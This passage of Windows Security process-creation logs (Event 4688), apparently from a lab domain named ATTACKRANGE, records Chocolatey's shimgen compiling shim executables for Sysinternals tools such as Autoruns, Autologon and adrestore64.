\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246358 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdf0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autoruns.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246357 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdf0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246356 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdf0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autoruns.exe" --output="C:\ProgramData\chocolatey\bin\Autoruns.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autoruns.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246355 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB36C.tmp" "c:\ProgramData\chocolatey\bin\CSC653DDA4EB78B4E47BF635464A7BBCEAA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246354 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246353 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autologon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246352 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246351 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autologon64.exe" --output="C:\ProgramData\chocolatey\bin\Autologon64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autologon64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246350 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb18 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB2A1.tmp" "c:\ProgramData\chocolatey\bin\CSCE2EA0058D6384643B28B948E93394D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246349 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xce0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246348 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autologon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246347 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246346 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autologon.exe" --output="C:\ProgramData\chocolatey\bin\Autologon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autologon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246345 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x838 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB1C6.tmp" "c:\ProgramData\chocolatey\bin\CSCD40D1D9443A145B0B4819BACA6634E98.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246344 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xba0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x838 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246343 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x838 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\adrestore64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246342 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured 